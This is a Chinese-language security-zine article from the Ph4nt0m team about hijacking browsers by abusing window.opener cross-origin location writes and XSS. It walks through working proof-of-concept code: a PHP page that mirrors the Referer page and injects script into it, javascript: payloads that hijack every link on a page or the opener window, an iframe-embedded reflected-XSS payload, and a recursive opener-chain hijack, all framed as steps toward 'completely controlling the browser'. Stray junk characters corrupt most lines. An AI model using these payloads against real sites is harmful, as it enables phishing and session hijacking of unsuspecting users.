==Ph4nt0m Security Team==8 T/ H# y! L/ v( a9 \) Z+ a
& v7 x; b% i8 X3 ~. s7 H9 q- \
Issue 0x03, Phile #0x05 of 0x076 O5 B8 `" R" V+ g
% `6 G! \2 z1 @9 w! W
3 s8 I4 g/ h7 x% H0 U2 R7 q
|=---------------------------------------------------------------------------=|. }/ H* o) ^0 r! U# Y- }' z
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
9 }+ B* @6 Q3 b# Y|=---------------------------------------------------------------------------=|" n# s. W/ ]* [- L
|=---------------------------------------------------------------------------=|. k6 `/ c f/ \0 U$ B- y1 v
|=------------------------=[ By rayh4c ]=---------------------------=|
( A9 r2 S" [( B$ X5 j! k& N1 B+ C|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=| n9 x. `. A& F/ d6 X1 |
|=---------------------------------------------------------------------------=|* N. O/ h) {# ]8 \* Y% J
3 m' u z) t: g3 w- ^6 r0 b* M0 j! d t3 Z& r
[目录]4 R& \' e6 ^, ~ m
1 `7 {; `( ?1 t I
1. 前言; }. S5 F3 {8 R
2. 同源策略简叙
/ ?$ v* ? }# u) M3 F l# L3. 理解window对象的同源策略! e# A {; F: d: ^% F; h, N
4. 窗口引用功能中的同源策略漏洞
" q7 x# r% k: X- _ 4.1 父窗口引用子窗口的同源策略问题
: o1 ^- y; Q& b% e/ q8 O 4.2 子窗口引用父窗口的同源策略问题
1 R, }' Z" t# K; F5. 利用窗口引用漏洞劫持浏览器" ^0 \: K. \& L. V6 Z! U6 b
6. 利用XSS漏洞劫持浏览器
( f) ^" l+ z& }5 q k 6.1 正向跨窗口劫持
) V k6 J8 i9 P0 |5 `. i6 f 6.2 反向跨窗口劫持9 b7 r% J3 ]0 t/ P9 c. M4 \
6.3 极度危险的跨框架窗口引用劫持
1 q( F( r* A' |: w, W( j 6.4 极度危险的正反向跨窗口递归劫持& Q# _& C, ]: V J9 {) |& y, t
6.5 完全控制浏览器 Y. g. [9 I! \* R, `$ {* Y, L6 U
7. 后记
* X- M7 F2 D5 l4 V9 P& w% X; v4 P8. 参考6 P5 p W& P0 G, R( [9 o/ Q+ ?
& F: `# Z" a+ P4 u# ]$ y8 r
) {# G- C# |6 ~8 X
一、前言
' J5 q& I ~7 M9 ? @1 Y Y2 X. G
6 p( T$ [- o6 m$ x" F/ s1 i6 l, g 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋9 o5 T& Q* | q5 q
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) l/ G2 x \% u3 T劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
" x' p `5 o* o; V: _: G条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。& M. O& w3 K; L* z+ n) x9 r: A
; Z. j' T. {2 w N: V% B7 r
. ^" [2 N8 j1 M7 D& O
二、同源策略简叙
; [! h$ B c' |9 I: E6 e9 o/ M7 L: y2 M, J5 v5 y: c4 n: d: N2 ^: v8 V
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
8 g ~1 h) ?. Z! W1 Z4 c+ J8 ]) {从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都0 m; T9 l# g' P* W/ A8 z' u' d
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木4 { g$ @! M+ D- ^
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个% G' Y; Y9 X) D; @6 c& Q2 T# j" @7 l
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
$ ^& }$ d, K; w/ | n) X+ {
' O- t- u; q) M' q8 k, i
( {: p% u% X2 i4 w三、理解window对象的同源策略5 g; g# y; {% x+ e" O
; {- A, @' j& ]4 S: ~5 x* r 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
, R8 r; ]: ?% ?8 P" F( `4 e象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
; p# g7 x" L: }7 ^0 G& ]. F# c2 ]( w+ N5 p
--code-------------------------------------------------------------------------: q f$ Y* ?( w4 V6 a" O
<script language="javascript">
9 I* }, s" O$ X8 o C" f: Y/ ^: Jfor(p in window) document.write(p+"<br>");
1 ^% E+ \$ p4 a; C$ v4 G' ~</script>
6 u2 _, Q% Y. ~& B: @+ g+ W. a-------------------------------------------------------------------------------
1 b- M% }) s4 Q9 b- E/ |/ R4 t+ j% H, r( N. [/ q
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
& ^; x k. _% t6 X法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,% X! y. \. w4 g8 G( b
这些属性和方法就必须遵循同源策略。* f! \4 P4 u* W/ R$ t# i9 W. W; U
& Z- ?+ D& _3 B `9 D/ `
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那" j4 \9 J7 M) \9 _
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
" m3 A7 j1 x( T的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这0 g. t# M8 s% H5 {: H
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
$ g( e# \# E3 _3 [值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
% e1 i* k+ Q2 l, `属性并没有被拒绝访问。; r( u- W5 ]/ }0 v( H' }
6 T- k! P7 v, J( \; F
--demo.html--------------------------------------------------------------------
) c+ j' K1 B# M! w4 P2 |# I; }+ C8 S<script language="javascript">
2 I9 L& Q( M+ J) c" B; F; Afunction allPrpos(obj) { ! H7 k t9 y5 J5 s. p
var props = "<table><tr><td>名称</td><td>值</td>"; 2 l; s+ B0 K8 s+ k, O; T
for(var p in obj){
6 G- D' X5 C @- K1 e* Q* e$ r if(typeof(obj[p])=="function"){
5 T+ d5 q+ i8 r% R obj[p]();
9 |( Q6 `0 U$ |; w0 x3 E8 r }else{
$ j: }3 L L9 H# Z try
( q/ ]9 J5 K& \4 o& z& o { ) l/ e6 A" p7 E
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
i9 L& K l( {. Q6 A' B } ) L( A3 V6 k' G3 J; n* `# [8 \
catch (ex) , ^1 S" ]$ i0 I. y/ N
{ 9 X4 J! s: H% m1 ~& k9 i" C0 [% `
9 K- B# `- f" K props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 8 }8 h! j0 M' W3 y! l7 ?+ E- D
} 4 b8 [+ V$ ]8 k; E- c( k3 c6 {
6 e# t4 A v1 |. f; r } ) g& G* Z" i" U' H9 J+ J7 z
} 4 b, \; H3 m+ C
* H: ?* k. m, n$ }6 Z6 Y document.write(props+"</table>");
. ~" L2 j# A4 J4 {- V9 M# ]} 9 E# g" s0 u2 n5 I; r( ?) Z
2 ^4 h# G" D3 E
function createWin() {
$ x% E1 Z# v c* Y0 ? newWin = window.open ("http://www.google.com");
5 m9 r3 _. [- q setTimeout(function(){allPrpos(newWin)},2000);
+ n& x$ E5 P( K C8 l3 ^}
) [4 b/ Z3 E5 {; }' y, Z/ F. t4 q, s# o' P6 K# E0 j! n
</script>
4 _; ~( q+ G! Z1 m; z' @2 J3 l& ^! ~7 f/ ^, |- @) `
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
& `* s3 ]+ Y7 N5 D# ?3 C-------------------------------------------------------------------------------% H( | H! T: q* t D7 d
0 ]+ X* Q9 u: F0 C$ {
- c, I' N: k9 Y. K- A) T四、窗口引用功能中的同源策略漏洞
* n) H7 t, J# D. W9 P" n q% s. a4 N9 @7 B: G
4.1 父窗口引用子窗口的同源策略问题
# n x% b- K1 F( j# {" M1 [& t5 i7 `" i- c& W
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
1 T+ x& Z- Q m1 L( ]但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
, Z: H7 O( S4 K* _5 C6 Q浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进6 c/ s; @* l% l
行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 `: B7 _7 a* q( H0 S& w6 o$ y, v- N( L) o
--vul1.html--------------------------------------------------------------------
' }( q i3 S3 y& t6 q1 e<script language="javascript">
7 K" Z9 i" a @function createWin() { * w& h: l/ Z& a6 m$ R
newWin = window.open ("http://www.google.com");
, D7 e1 U2 F4 n5 P, F% r setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
' E. \+ ^0 y# [$ E}
' D: j6 }$ I, h</script>2 _/ X) c9 f: u R: D' U
% P+ @% N/ w n/ \- z<button onclick='createWin()'>创建一个非同源子窗口测试</button>, p$ o9 S4 x9 G, O# E6 a- \
-------------------------------------------------------------------------------
" W* T. f3 ^: y. H1 H9 B* s! D2 p2 q9 W4 P
! u6 f. t% R7 c @! j4 W
4.2 子窗口引用父窗口的同源策略问题
' l) C o( q# v# n
1 r: l, Z4 N3 c$ Y# R! o8 V 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
6 A' X& }7 T% _ K' W( A) ~用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们1 ?2 W9 {4 U1 D7 k
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
; ?8 D* ?0 S+ d4 `' c5 _/ D会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。. Q3 i# C5 {" U- a+ f
( x" |7 R+ Z, T8 A; M, n* [4 C8 m3 N--code-------------------------------------------------------------------------
' D- @, X% u6 s* y: V: @
; I9 ?7 ^) f8 N; H, y# Y9 G# jjavascript:window.opener.location = "http://www.80sec.com";void(0);
' o9 H0 _1 V4 p+ s
* k, C" w# `) Y! B9 S-------------------------------------------------------------------------------" x' V8 ?9 R: q
+ {% s3 \: O; u N; ~, ]9 \
, f8 O: o) {) i- \8 t& Z- M9 v
五、利用窗口引用漏洞劫持浏览器
' \5 o& x9 z0 e; k: U" H4 ^' l4 s- V" Y% s% u8 ?0 z: q; c1 r
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& u. B' T2 x8 y9 C! s0 ^0 x; B! e
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那* g: ]) U# \6 U: q% E3 Q2 m' n1 A
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。% B! c& B. j% S0 ~/ f1 L0 B5 E
: \0 K, e. k7 b8 `& N9 a7 d( j% M
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
5 N) e' w* N( a- g生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或5 a9 s" k9 t- k2 y; ]
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接5 A X3 i8 ?, n) r+ U& S' ?4 a' B
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 K, l0 V! q1 K7 ]" a5 K' B" @
会产生什么可怕的后果。7 W% Y1 u) m: `2 [9 C
0 H; v3 p. x' ] g$ I& A) I 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我; {7 t5 b# |/ U4 P U6 }
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
4 b/ D/ }' p4 I8 N5 n! N: v% }这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
1 u0 W2 n! g3 J* g9 t0 ?0 F: J: @5 P候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可& {3 u9 u3 l# t0 E) T! v, B) g
以做更多的事情,所有的一切仅仅是因为点击了一个链接。: K g; h( i4 G8 L1 _
8 u# T% ~: ^7 Y1 i--hjk_ref.php------------------------------------------------------------------! ]+ G, _# h3 w* J. D
<?php* C7 K8 ]' o: ~! y0 ?% k5 u+ Z
if (array_key_exists("HTTP_REFERER", $_SERVER)) {& N% N% ]9 K/ Z- { }! Z3 \
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" s' K+ ~' r. A} ; l; n) _. B: D. M+ W# H
if(isset ($_GET['ref'])) {
( b3 m( r- |9 x9 zecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';2 b4 d' O, P5 a0 T# h7 s" R6 V
}; G) U5 u5 _, d5 {
?>( F# }7 p2 o$ {4 N+ E6 `+ ?
. X q* Y* z' i<script language="javascript">5 Y: L# `9 ] w% R( D0 B
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
) W8 K p' Z) ?8 ~( l: Q1 u; c</script>& @7 i6 z/ I3 v: R9 j# U3 W4 f( i- s$ N# a
-------------------------------------------------------------------------------- e4 Y$ P0 e) M8 q( I
: C" u- n6 b6 N# O3 d2 o( n, I
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& D' g+ Q- W0 ?) f0 H# t: H
( ?/ d( D" z; t( o1 H5 ~7 H$ R) y, C: T& B, h" [1 v6 k/ P- G* z
六、利用XSS漏洞劫持浏览器
9 a) T* X q6 E$ S0 j+ O6 {6 [+ {( s3 Z @
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 v) s' k+ M4 {5 T" A持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
- T4 T7 Y$ g- oXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
9 r5 ~7 f5 Q* F w) S F! Y讨论跨站师的终极技巧:
. v. C" z& Q7 t, v) j% M
( F; O7 H" X- ?3 q' R
- I2 p6 q: J% p3 m2 G/ c6.1 正向跨窗口劫持
) u# }3 I. O4 R, ^4 R/ U% M; |* q4 w& b: R' j0 x+ {; z
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛# ^" w6 X& u; a" I
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 I2 p/ E9 X+ o- W/ m6 S
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
5 H% i9 a4 p: F2 t框脚本。
1 d6 N/ K! t* K% Y% _' I. u3 `" g6 `. e
--hijack_open.js---------------------------------------------------------------1 v* z l3 [$ w4 Y, z K# V* M# X
+ D; t2 s2 q9 ~8 i- t- f7 g* I& xjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);* z5 c2 v, _* O" ]
1 t2 D) r$ B- T, E0 g7 z-------------------------------------------------------------------------------* l; |3 b, {3 o) p: N! e
6 O l$ r/ {* C+ }
$ T& p4 q! h7 X# b6.2 反向跨窗口劫持) v& h, V8 T+ j& X h, W! t
, p7 Z3 S3 @- v" O 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 q1 Y+ W( j l3 K; X码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话 K* y+ \, E% ~8 S) r( F+ _
框脚本。
$ \( R; y, r( r& |+ z7 [! `
7 a3 p$ T, \) H. i {% b; T, ]--hijack_opener.js-------------------------------------------------------------
& L4 q: F8 [% M: D* x" J; Y8 p8 c- v5 \
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);/ m( r; f& }/ `2 y9 C& G' p
, U/ g: |) r# g3 p7 |' k-------------------------------------------------------------------------------
( H# x0 W7 C" [. c4 y1 M; z5 r
; B8 i. U6 `5 o) D, H
$ T/ s. H/ m0 v# u; E6.3 极度危险的跨框架窗口引用劫持7 ^1 }) v# N8 {/ X1 h. j5 R
, [& L, ~8 w& W" Q
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
6 g! q/ m x9 i- M- u* C可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
& V' c/ \2 T" Y7 ^适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
- }# N( u9 d, t2 |: ]非持久型的XSS,如下:
" K, ~5 s, B! F) N: m# @' [
2 L/ ^" g1 q+ ?$ k% r+ l<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>6 U" Z6 ]: I4 D' D' D
9 O3 a3 b9 W9 }/ b( w
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
; s( s7 x% c1 Q注入脚本。
4 X s& \) L& |( Z' y4 v3 {% O( K" J8 V- |) N
--hijack_frame_opener.js-------------------------------------------------------7 \9 s7 [9 _3 t$ B6 Z
<script>
, @: }, S% P$ [3 M; J0 j X) Z( a/ Z: qwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";$ c. ?& w5 R0 J0 i% i
</script>
7 I0 o7 i2 t) k: i( Y1 B-------------------------------------------------------------------------------
& `& i$ _' |+ ^- g; s& y- D- ]$ `
1 F2 p- X2 i: e5 q! L! q. Q
; X% m1 m8 S) K" k% U3 N2 N6.4 极度危险的正反向跨窗口递归劫持- I/ I& s% K8 @. r p
; M% p* t5 N& g8 S' ^+ `
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) O9 b w# P d, F1 I9 g( D3 U0 t
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
5 w! `' H7 M/ i% V Y( ~/ I4 Z异常处理规避之间跨域页面的访问异常,代码如下:( t# J3 k9 d0 x7 P. m' s1 k1 |0 }
% s0 ~/ Q; [, @9 C$ `2 E
--code-------------------------------------------------------------------------
% q9 y) a ]: ]9 s% f3 o% b, t* ]: r J
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0); O. V/ a1 m+ `! u) I# g. ?
/ S: }2 Z! r5 b3 R0 Z2 \2 K3 ^ ]
-------------------------------------------------------------------------------# s0 c0 O9 p2 x8 \; a
- W7 i2 d0 C6 Q
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可4 \6 S% O6 X% w* q
以劫持B域之前的A域页面,从而实现“隔空打击”。6 e" U7 ^* j0 x, o. s3 B; q, w) `
' C& i; R4 x' K 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面$ U1 ^& m, X/ p9 J U7 Q
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
5 _0 g9 }5 T( x: L" |0 {. j2 Y# M" ~, ], A
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
; }- q. y( E' e4 |
7 D q! z3 W6 f
6 k8 k `# G' @5 ^5 z @6.5 完全控制浏览器; Y+ d; p, T) N
! l8 `) y& Z [5 C
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
% _; o( P: v7 J+ ]& U% z+ J0 x* Z是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
9 s" t& |6 A2 H, x+ H0 _9 n1 t漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失5 H3 n8 P" R" X6 v3 u! a* {6 [
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再* |) O4 W9 j$ b
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站2 Q `4 C' I. }" }
师的终极目标 - 完全控制浏览器。6 x, ^5 o; c, U. e) ?3 X
1 ?6 y& ]& C; w4 A2 {. h* D
" L% v' D N9 T. r七、后记
3 [5 n% J& m x7 t8 M) N: b7 s8 {
% l% o6 s9 D% y( v9 f: e 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
% E! z5 ~, W! `0 m* y! d与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予) _) V- A, {5 q+ K6 _7 N# h
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
" [% Y$ f3 W8 e6 F: B# A$ o+ c# ]; ]
: `/ ?* L$ |1 ^7 G2 C+ @$ L# n八、参考* C) S$ u% v, [9 q
3 ~; Y' I3 `" A5 U- t8 Q9 q
1. http://en.wikipedia.org/wiki/Same_origin_policy8 S) T+ ~( _% o2 e' \: ?
2. http://code.google.com/p/browser ... licy_for_DOM_access
7 k# W1 ]; E; x6 c0 _( l8 B/ a$ Z3. http://www.w3.org/TR/Window/( i# `+ G y4 I! v6 F
4. http://www.80sec.com/release/browser-hijacking.txt
( I/ X7 s/ p' N1 @! G5. http://www.80sec.com/all-browser-security-alert.html
& d# X7 ^: |* a( K) E5 ^% `, H% {8 S6. http://www.80sec.com/ms08-058-attacks-google.html9 A* i( J. K2 h
" N; @- F% N! m# @( {9 O-EOF- |